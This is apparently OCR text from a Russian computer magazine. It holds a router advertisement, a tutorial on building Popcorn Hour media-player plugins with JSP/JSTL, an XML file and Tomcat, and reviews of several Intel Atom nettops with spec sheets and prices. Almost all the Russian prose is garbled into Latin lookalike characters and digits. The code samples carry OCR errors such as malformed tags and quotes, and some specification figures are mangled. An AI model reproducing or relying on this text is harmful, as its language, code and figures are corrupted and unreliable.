“ma 4 > B ™ :9’ » ASUS EZ File Sharing — nuyHbIii ceTeBoii thaiin-cepsep ¢ JOCTynom 4yepes Internet e
» ASUS EZ Printer Sharing — npuHT-cepBep Ans noAaep»XKii 0/HOBPEMEHHOIA neyaTm

11 CKQHMPOBaHUA RT-N13U

MHorogyHKLNOHANbHbII

6ecnpoBOAHOM

WWw.asus.ru FapanTua 2 ropa Fopsyas nuuus: 8-800-100-2787 mapLupyTtuaatop 802.11N
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B W ImuTpuit leHckuit

KoAWHr nonKopHa

Yyumca co3naBathb nIaruHbl A Meélualjieepos

PopcornlV

WMeTb 0TAENbHbIH AEBAKC ANA NPOUT-
pbiBaHus HD-BUAEO — OTAHYHASA HAex.
Bo-nepBbix, 0TnafaeT BcAKas Heo6XoaH-
MOCTb pa3MeLLaTb KOMNbIOTEp pAAOM

C TeNeBU30POM U BKJIIOYATb €ro Kaxablu
pa3, KaK 3ax04eTcs NOCMOTPETb HOBbIH
(hunbM. A BO-BTOPbIX, COBPEMEHHbBIE
HD-nneepb! ABNAOTCA BeCbMa YHKLLHO-
HaNbHbIMM YCTPOMCTBAMM U CNOCOGHbI
3/10p0BO 061€rYUTh IU3Hb.

Hanpwumep, npaktunyeckm nioboit nonHoueHHbI HD-nneep nnbo no ymonyaHwmio,
nnbo nocne ycTaHoBKW KACTOMHOM NPOLLMBKY COCObeH KauaTb TOPPeHThI,
paboTaTh C ceTeBbIMM pecypcamu, nokasbiBaTh Buaeo ¢ Youtube nt.4. Y nneepos
PopcornTVecTb fononHuTenbHas KpyTas BO3MOXHOCTb, KOTOPYIO OLeHNT
Noboi X-4enosek — NoJHEro MoXHO CaMOCTOATEIbHO MKCaTh MNarHbI 1

Laxe cBODOIHO pa3MeLLaTh 1x B 0bLLLeA0CTynHOM peno3utopun «Megviabap».
KcTatu, ceityac komnanms BBK npoBognt koHKypc: Kaxabli1 aBTop AOCTONHOIO
NpWNoXeHWs Nony4unT 8 nogapok tenesmsop BBK. Tak utoy Tebs ectb xopoLumii
LAHC He TOJIbKO NOTPEHVPOBATLCS B KOAUHIE, HO U BbIUIPaTh cebe HoBbIV Tenek.

[naBHble Te3UChI

Camoe rnaBHoe, YTo Hy>XXHO 0CO3HaTb — 3TO TO, YTO MO CBOEN CYTU «MAarnH»
ABNSIeTCS 00bIYHbBIM Web-CaiiToM, alanT1poBaHHbIM Mof, 3KpaH TeNeBn3opa.

Ha mepmanneepe PopcornyctaHoBneH cneumansHbii Linux Ha 6opTy v BCs BU-
3yanusaums «nnarnHoB» 0CyLLECTBISETCS C MOMOLLLbI0 BCTPOEHHOro bpaysepa
Syabas myiBox Browser, kotopbiit ymeeT oTobpasxkats HTML-koHTeHT 1 gaxe
obecrneumsaet bazosyio (HenonHyio) nopaepxky CSS v JavaScript. Cuntatb ero
NOSIHOLIeHHbIM Bpay3epoM Heslb3s: KOrfia i MOMbITasncs 3aiTy C ero MoOMOLLbIO

Ha AAHAeKc, AeBaliC yLen B HOKAAYH, M MHe noMor Tofibko pebyT. CobcTBeHHO,

OH W He ans cepduHra: Syabas Browser npefjHasHaueH ans otobpaxeHws
CrewLyanbHo CO3AaHHbIX MO Hero CTpaHnYek, KoTopble 1 pacrnonaratotcs 8 Me-
aviabape. CaiTbl-nnarviHel MoryT pa3pabaTbiBaTbCst C MCNONb30BaHMeM Noboit
TexHonoruu, byasto PHP, ASP .NET, Python, Ruby nnn JSP. EquHctBeHHoe
OrpaHuyeHre — KIMeHTCKas pa3MeTka: bpay3ep Aaxe 1cnonb3ayeT cCobCTBEHHOE
pacwupenne HTML, gononHsioLLee cTaHAapTHbIe Tervi HOBbIMM CBOMCTBaMU.
CaMbiil NpocTol BapuaHT co3faHus «nnarnHax» ang PopcornTV BbirnagnT 1ak:
cozpaetca HTML-daiin co cchbinkammu Ha Mefpa-UCTOUHNKN B UHTepHETe, daiin
3anuckiBaeTcs Ha Greluky, daeLlka BTbikaeTes B «[TonkopH», nocie vero «mnna-
TVIH» CTaHOBUTCS JOCTYMHbIM C MysibTa yNpaBaeH s v Tol MOXKELLb ero 3anyCTuTb,
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MOAYYMB BO3MOXHOCTb NMEPEXOAMTH M0 CO3AaHHbIM CChiikaM. Hanpyvimep, eciu
Thl 3aAyMas cLienaTb NpUNoKeHWe 4J1s Npoc/yLUVBaHWs live-BellaHWs pagmo-
CTaHUWiA, kog, byaeT nprMepHO Tak1M:

<a href="http://w0l-cn0l.akadostream.ru:8000/
silverraind8.mp3” aod>Cepebpsubin HoxOob</a><br>
<a href="http://broadcast02.station.ru/dfm" aod>DFM

</a>

Ter «aod» TyTyKa3blBaeT Ha TO, YTO 3TO ayAno-KcTouHMK: aod = Audio On Demand
(ayavo no 3anpocy). B ciyuae, ecnv ThiykasbiBaellb Ha BUAEO- Uin hOTo-anb-
60oM, 3TOTTer AosKeH bbiTh «vod» 1n «pod» COOTBETCTBEHHO.

llyTb B peno3utopui

[insi paspaboTky NpunoxeHwii, kotopele xo4eTcs pa3mecTuTs B Meanabape,
MYyTb HECKOMbKO OTAIMHAETCS: MO CyTU, Tebe Hy>XXHO cLienaTh calT, KoTopblii byaeT
reHepupoBaTh NoHATHyt0 bpay3epy «[lonkopHa» HTML-pa3meTky. Micnonbaye-
Masi TEXHONOrNS MOXET BbITb Ntobol: HaunHas co cTaTnyHbIx HTML-daiinos
3akaHymBas NtobeIM nonynspHbiM web-dpeliMBopkoM. Mennabap pabotaeT Ha
ba3ze TexHonorvn Apache Tomcat — JAVA-based Beb-cepsepa, cnyxallero ons
pabotsl ¢ JSP-npunoxeHusaMu.

[1ns pa3paboTku NnarMHoB No aToM TeXHONOM MK eCTb creumanbHbli SDK, koTo-
pbiVi BKItoYaeT B cebs paboTatoLumnii npumep «MefpanopTana» ¢ HeCKObKMMU
naarviHamu U AoKyMeHTaLmio paspabotymka.

[lnsi sKCMepUMEHTOB M0 CO3AaHMI0 HOBbIX MArMHOB NEPBbLIM JeNI0M He0b-
XOAMMO YCTaHOBUTb Ha CBOW KoMnibloTep Apache Tomcat, npefapuTtensbHo
ybeamBLLNC B Hannumny Java-MalumHbl. Bee TpebyeMbie daiinbl npucyTcTBytoT
Ha Halwem DVD, aycTaHoBka gocTaTo4Ho npocTa: tomcat nocraBnsieTcs B

BVIf€ Zip-apX1Ba, KOTOPbI HaA0 MPOCTO pacnakoBaTh, Moc/e YerasanycTuTs
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CMOMOLLIbIO CreLanbHoro ckpunTa startup.

bat B BuHAe nunbo startup.sh 8 *nix. BWindows
MOXeT NoTpeboBaTbCs YCTaHOBUTL MEPEMEHHbIe
okpyxeHns JRE_HOME n JAVA_HOME Tak, 4tobsbl
OHW yKa3blBasW Ha NyTb A0 Java. [Mocne 3anycka
Tomcat otkpoeT 8080 nopt (Mo ymonuaHmio), Ha
KoTopoMm bygaeT BuceTb Beb-cepBep.

B coctaBe SDK ectb paboTatowymnii nprmMep mMe-
[ManopTana c HeCKOMbKUMU NaarvHamu. Hrobel
3anycTuUTb ero, 4OCTAaTOYHO MEePEHeCTU Nanky
ROOT n3 apxusa ¢ SDK B nanky tomcat\webapps,
nepenMMeHOoBaB yXe UMeloLLMINCs TaM KaTanor

ROOT. Mocne atoro, obpatuBLuMCch bpay3epom

no agpecy http://localhost:8080, Tbl yBnamiwb
TecToBOE npunoxeHue ns SDK, koTopoe MoxHO
MeHSTb 1 ,06aBNATb B HErO HOBbIE MAarvHbl. 3TUM
Mbl CEMYac 1 3aimemcs.

Co6CTBEHHbIW NIaruH

Pa3paboTka cobcTBEHHOMO NNarMHa HauMHaeTcs ¢
CO3JaHVs HOBO Nanku BHYTPYW KaTasora service.
3aTeM Hy>XHO co3aaTb $aiinoByto CTPYKTypy nna-
VIHa, COCTOSILLLYIO 113 CIEAYIOLLIX AVPEKTOPUA:

image
image-1280x720
page
page-1280x720
thumb

xml

Bce nanku nMeioT rosopsiLime Ha3BaHUa U,
LlyMato, MOHATHO, 4TO B HUX JIEXUT: Bimages —
KapTWHKM NpoekTa, B page — BEPCTKa, CTUAN U
camo npunoxexue, B thumb — vkoHKW NnaruHa, B
xml— JaHHble.

ObpaTtn BHUMaHWe, 4To BepcTKa v rpaduka
NpeLCcTaB/eHbl B ABYX BapMaHTax nof pasHble
pa3peLLeHns; 3To Heobxo4MMO AN NOLAEPXKKM
pa3nNYHbIX TESEBU30POB.

B kauecTBe npvMepa faBaii chenaem npocTtoe
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NpuoxXeHue, KoTopoe byAeT NoKa3blBaTh HALLK
xakepckue B1aeo-ypoku. [punoxerue byaet
nonrpyxatb nHdopmaumio 06 ypokax ns XML-
dbaiina, popMrpoBaTh «MeHto» Ans Belbopa ponu-
Ka 11 1aBaTb CCbIIKY Ha BOCMPOV3BeEHVEe ypoKka.
[epBbIM Aenom 3adukcupyem Gopmart, B KOTOPOM
ByaeM xpaHuTb 1 nepeaaBaTb MHGOPMaLMIO O
DOCTYMHbIX ypoKax:

<?xml version="1.0"
encoding="UTF-8" 2>

<video>

’ ’{ NP101S

NETWORKED HD PLAYER

<item id="1" title="XmBoit ROP"/>
<item id="2" title="lzBrekaem
KoHOMT M3 TDL3"/>

</video>

3T0T paiin MOXHO COXpaHUTL Nof, MeHeM video.
xml B nanke xml, a MOXHO XpaHWTb Ha yaaneH-
HOM cepBepe — HWKaKoW pasHULLbI.

Npem panbwe. OcHoBHOM dalin nnarnHa —
index.jsp, OH DyfeT BXOLHOM TOUYKOIN Npuioxe-
Hus. JSP-daiinel npeactaBnsior coboli HeuTo
o0YeHb Moxoxee Ha Ntobo WabnoHHbIN Gaiin:
cMecb HTML nynpasnsiowmx Teros. Ecav Tbl
korpa-Hnbyab cospnaBan WabnoHsl Ansa noboi
cuctembl Tvna Fast Template unu Smarty, To Tbl
BbicTpo pasbepelubcsi — TyT BCE O4EHb MOXOXE.
[puBeny v NPOKOMMEHTVPYIO COKPALLEHHbI
npuMep index.jsp HaLLero NPUAOXeHMS:

<c:catch var="error">

<c:import var="xml"

charEncoding="utf-8"url=
"http://dvd.xakep.ru/video.xml"/>

<x:parse var=video" doc="${xml}"/>

<x:set var="videos”
select="$video//item"/>

</c:catch>

<c:set var="i" value="1"/>

<x:forEach select="$videos”

varStatus="s">

<td>

<x:set var="id"
select="string(@id)"/>

<c:set var="url” value="http://dvd.
xakep.ru/videocast/${id} .mp4"/>

<x:set var="title"
select="string(@title)"/>

<a href="${url}"” vod>

<img src="http://dvd.xakep.ru/
images/${id}.jpg" border="0">

</a>

<br />

<h2>${title}</h2>

</td>

<c:1f test="${i %4

</tr><tr>

I
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</c:if>
<c:set var="1" value="${i+1}"/>

</x:forEach>

Kak Buaunwe, BeCb «kog» TyT NpefCTaBNeH B Buae
Teros: cMellaHbl 1 3HakoMble Tebe HTML-teru,

1 KaKmne-To HOBble, HEMOHATHbIE. TW «HEMOHAT-
Hble» BXOAAT B bubnnoTeky Teros JSTL v oTanyHo
onmcaHbl Ha tobom caTe no fBe.

KpaTtko npoitnemcs no kofy v UCnosib3yeMblM
JSTL-Teram:

e <c:catch> obpabaTbiBaeT ncknoUeHUs.

e <c:import> cynTbiBaeT faHHble dalina B nepe-

MeHHyl0 «xml» — 0bpaTv BHMMaHKe Ha ykasaHue
NpaBWIbHOM KOAUPOBKYM U Ha TO, YTo Gaiin MoxeT
nerko bbITb pa3MelleH Ha yAaleHHOM cepBepe.

e <x:parce> napcut XML-faHHble.

o <x:set> nosnyyaet BbIOOPKY A@aHHbIX M MOMelLa-

eTee BMaccuB AaHHbIX videos.

o <x:forEach> — uukn no XML-gaHHbIM.

o <c:if> — 0bbluHOE yCnoBYME.

CMbICN KOA@ 04eHb V1 04EHb NMPOCTOW: CHUTBI-
Baetcs XML-daiin, BolbunpatoTcs Bce 3anucy
«item» 13 «video», 1 B LMKE N0 HUM BbIBOAATCA
0610%Ka ponuka, Ha3BaHwve posiKa 1 CChlika Ha
npourpeiBaHmne ponvika. [puyem Yepes kaxnsle 4
3anwcv BCTaBnsioTCs Teru </tr><tr> anqa nepexo-
[,a Ha HOBYO CTPOKY TabnuLibI.

[nsiToro, 4Tobbl TBOV NNarnH cTan focTyn-
HbIM C F1aBHOW CTPaHMLLbl HALLEro TeCTOBIO
MefunopTana B nokansHoM Tomcat, Hy>HO
nobaBuTb COOTBETCTBYIOLLYIO 3anuch B daiin
portal.xml:

<service name="Xakep" id="xakep"
desc="Hacker’'s video"/>

Pesynbratbl

B pe3ynbraTe HalWwnx MaHUNYyASLMIA Mbl NONY-
YUAW MPUNOXKEHWE, CHUTBIBAOLLLEE AaHHbIE O
JOCTYMHbIX ponnkax 13 XML-daiina (Bozmox-
HO, yAaneHHoro), HarnsaHo oTobpaxaLlee
3T AaHHbIe 1 NpefoCcTaBNsoLIee BO3MOX-
HOCTb NPOUTPLIBaHNSA 3TUX BUAeo. B npuBe-
JeHHOM koge bbina onylieHa BCA pa3meTka

1 3aronoskun JSP-daiina, nonHas sepeus
npunoxenns foctynHa Ha DVD.3C g
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[naBHas tmwwKa HeTToNoB — Ge3ycnoBHo, pasmep. [lpaKTUYECKHM NONHOLEHHbIH KOMN B
BUAe KopoBouku 15x15 cM — ato cynep! Tem 6onee, 4T0 NPOM3BOAMTENLHOCTD COBPEMEHHbIX
HETTONOB 3aMeTHO BbIPOC/A, U OHM OTIMYHO NOAXOAAT ANA BeG-cepdiuHra, pefaKTUPOBaHHUS
LOKYMEHTOB, BOCNPOU3BEACHHS MY/IbTUMEAa-KOHTeHTa, BKtoyas HD-Bupeo. Muorue
yMeibLbl UCIONIb3YHT UX AiaKe ANIA XOCTUHIa B Ka4ecTBe HeAoporoi ansTepHaTuebl VDS,
pa3MeLLan co6CTBEHHbIM AEBANHC Ha KONOKeHLeHe. B o6LuieM, HeTTON — WTYKa Knesas.

METO/IMKA TECTUPOBAHKA

[lnsiToro, 4Tobbl NONIHO 1 BCECTOPOHHE OLIEHWTH MPeACTaBeHHble B TECTe
HETTOMbI, Mbl pa3paboTanyt MeToAVKY, B KOTOPOI MOCTapanmnch y4ecTb BCE X
ocobeHHOCTU. Ha nepBOM MecTe, KOHeYHO Xe, bbinn pazHoobpasHblie Tec-
ToBbIE yTUANTBI. Tak, 0BLLYI0 MPOMN3BOANUTENBHOCTL TECTUPYEMbIX YCTPOCTB
Mbl POBEPSNIN C MOMOLLIbIO KoMmekcHoro berymapka PCMark'05, kotopelii
OLleHVBaeT ckopocTb paboTbl BCeit cucTeMbl B LienoM. Kpome Toro, Mbl 3anyc-
kann 3DMark'03 v 3DMark’'06 ans oueHkm ckopocTu paboTbl rpaduyeckoi
noacucTeMbl HetTona. [11s 0KoHUaTeNsHOTo peLleHus 3Toro Bonpoca (Bce
Kkoraa-Hubyab UrpatoT Ha KoMMbioTepe!) Mbl TPOBOAVAN 1 peasbHbIN UTPOBOI
TecT c nomolubio FarCry 2. He obolunock 1 6e3 TpaiMLMOHHbIX TECTOB:
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SuperPl v beHumapka Geekbench. Kpome Harpysku Ha npoueccop 1 namsaTs
OHVI VIHTEPECHbI eLLe 1 TeM, HTO XOPOLLO MOKa3blBAOT Pa3HHLY MeX/LY BYX-
1 ofHosAepHbIMY NpoLieccopamu Intel Atom. MomuMo pe3ynsTaTos TecTa
Ha UTOroBYIO OLLEHKY YCTPOICTB BAMSAN U Apyrie dakTopbl. 3To Hanuyve
OMTUYECKOro NPUBO/AA, Tak KAk HECMOTPS Ha BCe BO3MOXHOCTU MHTEpHETa 1
BHELLIHUX XXeCTKMX ANCKOB HWKTO He cobupaeTcs oTMeHsTb konnekumnm DVD
1 MOKYMKY JIMLEH3MOHHbIX AvickoB. OBpaliany Mbl BHUMaHWe 1 Ha yCTaHOoB-
JIeHHYI0 onepaLMoHHyto cucTemy, Tak kak Hetton 6e3 OC nnu ¢ noka yto He
oY4eHb npuBblYHO Windows 7 roToB KynuTh faneko He Kaxasli. Eue oamH
KPUTEPWIA, KOTOPBIN HaMW CTPOrO OLLEHMBACA — 3TO LLIYM, M34aBaeMbIN
YCTPOMCTBOM.
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TEXHUYECKUE XAPAKTEPUCTUKM:

0C: WINDOWS 7HOME PREMIUM
NNAT®OPMA: NVIDIAION

MPOLIECCOP: INTEL ATOM N230, 1.6 T'T°LJ,
03Y:26 DDR2 (MAKCVIMYM 3TE)
HAKOMWTENMW: HDD 320 16 (5400 06./MV/IH)
FPA®UKA: NVIDIA ION (GEFORCE 9400)
3BYK: 2-KAHAJIbHbBIV REALTEK ALC662
CETb: 10/100/1000 MBUT/C

PA3BEMbI: 6XUSB 2.0, RJ45, DVI
KOMMJIEKTALUA: OLCTABKA, CUCTEMA KPEMJTEHNA MOHNTOPY,
AOANTEP MUTAHNA

PA3MEPbI, MM: 170X150X20

EEEEEEECIOO

+

HebonbLoi HeTTon 0T KOMNaHUK co cMellHbIM Ha3BaHuem 3Q Qoo!. Mpowns-

9400 pyo.

BOZMTESb PELLII MOPBaTh C NPOLUbLIM 1 YCTaHOBWIT HA HETO HOBELLYIO
onepaumoHHyto cuctemy Windows 7 Home Premium, Tak 4To ecnm Tel cTpe-
MULLIBCH KO BCEMY HOBOMY, 3T0 ByAeT xopoluell HoBoCTbio. He cTonT bosTbes,
4TO MasbIll ee He MOTSHeT, Tak Kak oH nocTpoeH Ha nnatdopme NVIDIAION

1 0bnagaeT 4OCTATOYHO BbICOKOI MPOU3BOANTENBHOCTbIO, KOTOPOI XBATUT

v s Bocnpou3sefeHns Buaeo HD-kavecTsa, 1 Aaxe 4 MHOMMX BNOJHE
COBPEMeHHbIX Urp. [1pOM3BOANTENBHOCTL — 3TO TEMNOBbILEEHWE, MO3TOMY
YCTPOVICTBO OCHALLEHO BEHTUAATOPOM, HO LYMa OT Hero o4eHb Mano. MimeeT-
csinopt DVI.

ABoT pazbemoM HDMI nponssoaunTens cBoe geTulie He ocHacTu. BeHTn-
NATOP HEOBXOAMM, HO BCE-TaKW, ECIN NPUCYLWIATLCS, WYyM OT HEro eCTb, Aa
1 rpeeTcs faHHbIN HETTOMN J,0BOJILHO cyllecTBeHHO. OTCcyTCTBME Kakoin-nmbo
BCTPOEHHOM BecnpoBOAHOI CBA3M Mbl CHMTaeM CYLLEECTBEHHbLIM HefoCTaT-
KOM 3TOM MOJenu.
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ACER ASPIREREVO
R3600

TEXHUYECKWUE XAPAKTEPUCTUKM:
0C: WINDOWS VISTAHOME PREMIUM
MNAT®OPMA: NVIDIAION

MPOLIECCOP: INTEL ATOM 230, 1.6 'T'Ll,
03Y:275DDR2(MAKC. 4TB)

HAKOMWTENW: HDD 160 B (5400 06./MVH), KAPA-PULOEP 4-B-1(SD/
SDHC/MMC/XD/MS/MS PRO)

FPA®UKA: NVIDIA ION (GEFORCE 9400)

3BYK:REALTEKHIGH DEFINITION AUDIO 7.1

CETb: NVIDIANFORCE 10/100/1000 MBU/T/C, WI-FI802.11B/G
PA3BEMBbI: 6X USB 2.0, ESATA, RJ45, VGA (D-SUBJ, HDMI
KOMMNEKTALMUA: MOACTABKA, CUCTEMA KPEMJTEHNA MOHNTOPY,
AOANTEP MUTAHUA, KITABVATYPA, MblLLUb

PA3MEPbI, MM: 180X180X30

EEEEEEEECIC

+

HukTo He CNopuT, 4TO NoKynaTb B Oq)l/lC KoMMbtoTep, KOTOpr\;I nogxoauT ongd

12000 pyo.

[,OMAaLLHEro 1Cnosb30BaHNs — 3To KpalHe pacTounTenbHo. [1ng Hero HyxHo
cneuvanbHoe yCTPoCTBO, Takoe, Hanpumep, kak ACER AspireRevo R3600.
HecMoTps Ha HebonbLme rabapuTsl (4To fns oduca ecTs TonsKo nmoc) 3ToT
HeTTon noctpoeH Ha nnatdopme ION oT NVIDIA, uTo obecneynsaet emy
LOCTOVIHYt0 CKOpPOCTb paboTsl. CTOWT OH HEAOPOTO, YTO, OMNSATH XXe, ABASETCS
npevMyLLECTBOM, MTPUYEM He TObKO s oduca. Ha Bopty [peansHo cboky)
nmeeTcs WecTb noptoB USB, pazbembl eSATA 1 HDMI, a Takxke cnot ons
KapTbl namsaTy. [1ns cBA3U € BHELUHUM MUPOM MpeaycMOTpeHbl rurabut-
Hbil ceTesoit n Wi-Fi agantepbl. MowHyio (415 HeTTona, koHeuHo) cnctemy
OXNAXKAEHNS MOYTU HE CAbILIHO.

KoHeuHo, HETTOM 3TOT MOXHO He ToJIbKO B 0pUC CTaBWTb. Ho joMa BMeCTo
ycTaHoBneHHoro 3geck D-SUB xoTtenocs 6bl Bugets nopt DVI, a Takke
onTrYeckuii npusof. HeT TyT n onTryeckoro BbixoAa Ans 38yka. Elle ogvH
MWHYC — 3TO MO CTaBKa, BepPHee To, Kak Ha Helt HeTTon fepxuTcs. CeanuTb
€ro MoXHO ia>ke HeyAauHbIM ABUXKEHNEM MbILLIKM, Tak YTo Oyfib 0OCTOpOXHee.
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FERRUM

15000 py6.

ASROCK ION
330-BD

TEXHUYECKHUE XAPAKTEPUCTUKM:

0C: HET

MNATOOPMA: NVIDIA ION

MPOLLECCOP: INTEL ATOM 330, 1.6 TTL

03Y: 215 DDR2 MAKC. 4 'B)

HAKOMMTENM: HDD 320 16 (5400 06./MVIH), BD COMBO
FPA®UKA: NVIDIAION (GEFORCE 9400)

3BYK: REALTEK HIGH DEFINITION AUDIO5.1

CETb: NVIDIANFORGE 10/100/1000 MBUT/C

PA3BEMbI: 6X USB 2.0, RJ45, VGA (D-SUB), HDMI, S/PDIF
KOMMTEKTALWS: ATATTEP UTAHIIS, NO/IOXKA MO/ KOPMYC
PASMEPbI, MM: 195x70X186

EEEEEEEEN]

+

Ecnan el aBnsiewbes cyactnnebiM 0bnagateneM 6osbLLONR KonaeKLmum dub-
MOB, My3blku, GoTorpadmii, ja M BCEro Npoyero, 3an1McaHHoro Ha ontnyeckune
LNCKK, U He coBMpaellibCs 0TKa3bIBaTLCA OT HOCUTENEN Takoro Tuna, — 3T0T
HeTTON Co3AaH creumnanbHo ans Tebs.

BHumaHne — B Hero BcTpoeH nprsog Blu-Ray, yem MoxeT noxsactaTbes
DaNeKo He Kax /bl HACTObHbI KOMMbtoTep. Tak 4To, Mo CyTW, Nepes HaMmu
FOTOBbIN M KpaliHe MOLLHbI BUAEOLEHTP, Ha YTo HaMeKatoT v nopTel HDMI 1 S/
PDIF. EcTecTBeHHO, KCTaT, YTO HOBEMLLUNIA ONTUYECKWIA NpUBOL paboTaeT 1 co
crapbiMm CD/DVD-6ongaHkamu.

[natoro, utobel obecneunts ASRock ION 330-BD npremnemyio LeHy,
NpOM3BOAUTENb NOXEPTBOBA KOMMIEKTOM MOCTABKM, KOTOPOro MPOCTO
HeT. HeT B 3ToM KoMMbloTepe 1 Moy 6ecnpoBOHOM CBA3M, YTO Cerof-
HS BbIMNAANT NPOCTO MOBETOHOM.

HeT n onepaunoHHOM cucTeMbl, Tak YTo paboTy npuaeTcs HayaTb He C
npocmoTpa Atobumoro punbma, a c ee yctaHoBKuW. [la v cnucteMa oxnax-
LEHUS LWYMUT LOBOJIBHO OLLYTUMO.

» 020

ASUS EEEBOX
PCEB1012

TEXHUYECKWUE XAPAKTEPUCTUKM:

0C: WINDOWS 7HOME PREMIUM

NNAT®OPMA: NVIDIAION

MPOLIECCOP: INTEL ATOM 330, 1.6 TT'L,

03Y:2 75 DDR2 (MAKC. 4B)

HAKOMWUTEJIU: HDD 250 I'6 (5400 OB./MWHJ, KAPL-PUIEP (SD/SDHC/
MMC/MS/MS PRO)

FPA®UKA: NVIDIAION (GEFORCE 9400)

3BYK: REALTEKHIGH DEFINITION AUDIO 5.1

CETb: NVIDIANFORCE 10/100/1000 MBUT/C, WI-F1802.11B/G/N
PA3BEMBbI: 6X USB 2.0, RJ45, VGA (D-SUB), HDMI, E-SATA
KOMIMJIEKTALUA: KITABVATYPA, MbILLKA, NYBT Y, MOACTABKA,
CUCTEMAKPEIMIEHNA MOHUTOPY, ADATTEP MATAHNA, AHTEHHA
PA3MEPDbI, MM: 222X178X26.9

+

KomnaHua ASUS ocTaeTcs BepHa CBOe MOAUTHKE — BbINYCKaTh OTANYHbIE
YCTPOICTBA, HO 3TOT AeBaliC 0TAMYaAEeTCs 0T BONbLIMHCTBA NPOAYKTOB BEH/0-
pa ellie 1 BNoOJIHe NpuBAeKaTeNbHOM LieHo! HeTTon, B cuny cBoux ocobeH-
HOCTEe, OTNIMYHO NOAOMAET AN AOMALLHEro ncnonb3oBaHus. OH TUXKIA, HO
npoussoauTensHblit, HD-Braeo and Hero — Boobue He npobiiema, Aa v co
MHOMMMW UrpaMmn oH cnpaBuTcs. Ha Hem ycTaHoBIeHa HOBelLLas onepa-
urorHas cuctema Windows 7, eCTb Ky4a pa3iMyHbIX NOPTOB Ha BCe Cry4Yau
>KM3HW 1 MOLyNb BECPOBOAHON CBA3M, KOTOPbIV NOALEPXKVBaeT HOBELW NI
ctanpapt Wi-Fi IEEE802.11n. Hy, a camoe rnaBHoe — 370 NyAbT ANCTAHLMOH-
HOro ynpaBfeHus, KoTopbli No3BonuT Tebe BoobLLe He BCTaBaTb C AvBaHa!

KHepoctaTkaM ycTpoicTBa Mbl OTHECAV OTCYTCTBME BCTPOEHHOTO ONTUYeC-
KOro NpvBoAa, 4To, B 06LLeM-TO, NoMeLLaeT Tebe cenaTh U3 Hero MynsTUMe-
AMa-UeHTp. A3a BHELUHWIA NPYBOL NPUAETCS 3anN1aT!Tb COBCEM He Masble
cpefncTsa.
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11000 pys.

VIEWSONIC
VOT120 PC Mini

TEXHUYECKWUE XAPAKTEPUCTUKH:

0C: WINDOWS XP HOME

NNATOOPMA: INTEL 945GSE

MPOLLECCOP: INTEL ATOM N270, 1.6 'T'L|
03Y:175DDR2

HAKOMUTENMW: HDD 160 I'E (5400 06./MIH)
FPADUKA: INTEL 945GSE

3BYK: 2-KAHAJIbHbIN

CETb: NVIDIANFORCE 10/100/1000 MBWT/C, WI-F1802.11B/G/N
PA3BEMBbl: 4X USB 2.0, RJ45, DVI, ESATA
KOMMAEKTALMUS: ADANTEP MUTAHWS, MOLCTABKA
PA3MEPbI, MM: 130X115X39

EEEEEERCOO0O0

+

OcHOBHOE [LOCTOMHCTBO 3TOM0 HETTONA — ero MasieHbkue rabapuTsl; 3o ca-
MbIl MUHUATIOPHBIN leBaiic B 0b30pe. YcTaHOBNEHA Ha HEM onepaLoHHas
cuctema Windows XP Home — knaccuka, ¢ koTopoii paboTano 6oabWmnHCTBO
nonb3oBaTeNet, Tak 4To MPUBbIKATb HY K HeMy HOBOMY V1 MepeyyrBaTbCcs Tebe
He npuaeTcs.

[ns bonblUMHCTBa KNaccu4eckmnx 3afiad, Takmx kak Beb-cepduHr, npo-
cnyLInBaHue My3blku, paboTa c 0GUCHBIMU NPUOKEHVUAMI U TaK fanee,

€ro NpoOM3BOAMTENBHOCTYU BMOJIHE XBATUT. B 0Tnnume oT HekoTopbix bonee
rabapuTtHbix cobpaTbeB B HeM yCcTaHOBINeH afianTep becrnpoBOAHON CBA3Y,
4TO ABNFETCS HONBLIMM MIIOCOM 3TOI MOLENN.

Hepoctatku ViewSonic VOT120 PC Mini aBngioTca cnencTBnemM ero MuHmna-
TIOpHbIX rabapuToB. Bo-nepBbiX, 3T0 HEBLICOKAsA MPON3BOLUTESILHOCTD,
KOTOPOI He XBaTUT Aaxe AN BocnpousseaeHns HD-Buaeo, He roBops yxe o
coBpeMeHHbIX nrpax. Bo-BTopsblix, 370 Bcero yeTbipe nopta USB, 13 koTopbix
nocse NOAKMOYEHMS TaKUX He0DXOLMMbIX YCTPOWCTB, KaK kfasuaTypa v
MbiLLib, OCTAHYTCS CBOBOAHbLIMYM TONLKO [Ba.
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12000 pyeé.

Z0TAC
MAG MAGHD-NDO1-U

TEXHUYECKUE XAPAKTEPUCTUKH:

OC: HET

MAAT®OPMA: NVIDIA ION

MPOLLECCOP: INTEL ATOM 330, 1.6 [TL|

03Y:215 DDR2

HAKOMMUTENb: HDD 160 16 (5400 06 /MVH), KAPL-PULIEP (SD/SDHC/
MMC/XD/MS/MS PRO)

FPA®UKA: NVIDIA ION (GEFORCE 9400)

3BYK: REALTEK HIGH DEFINITION AUDIO 7.1

CETb: NVIDIANFORGE 10/100/1000 MBIAT/C, WI-F1802.118/G/N
PA3BEMBbI: 6X USB 2.0, RJ45, VGA (D-SUB), HOMI, ESATA, S/PDIF
KOMMTEKTALMS: NIOJICTABKA, CUCTEMA KPEMIEHIS MOHUTOPY,
ATLATITEP MATAHS

PA3MEPbI, MM: 186X189X38

EEEEEEECOO0O

+

EcnunTebe He HpaBuTCA ofHo0Dpa3Has obcTaHoBKa Ha paboyeM cTone u
Thl Nt0bULWb ee perynsapHo MeHaTb, To ZOTAC MAG MAGHD-NDO1-U — aT0
ycTponctBo Ana1ebs. OH obnafaeT ax TpeMs BapMaHTaMu yCTaHOBKM:

BEPTUKabHbIM UV FOPU30HTaNbHbLIM Ha NOACTaBKe, a Takke C MOMOLLbIO
VESA-npucnocobnerunii Ha obpaTHyto CTOpoHy MoHMTOpa. Boobuue, 310, Ko-
HeuyHo, TonoBas MOfeslb, HTO MPOC/EXMBAETCHA Kak B €e BHELLIHeM BUAe, Tak 1
B dYHKLMOHane, KoTopbli BKIloYaeT B cebs Maccy nHTepdencoB 1 BCTPOEH-
HbI afanTep becnpoBofHO CBA3N.

HecMoTps Ha Bce ntockly 3Toro ycTpoiicTea oTcyTcTByeT nopt DVI, a Takxe
OMTUYECKMIA NPUBOJ, C KOTOPOTO TaK y100HO yCTaHaBNMBaTbL OMepaLMoHHY0
cucTeMy — ee, KCTaTu, y AaHHOro HeTtona Takxe HeT. C 0fHO CTOPOHbI, y
Tebs byneT BbIbOp, @ C Apyroi — 3To Bce-Taku MUHYC. [ln3aiiH ycTpoiicTaa
BECbMa CMOPHbIIA, MOHPABUTCS OH IBHO HE BCEM.

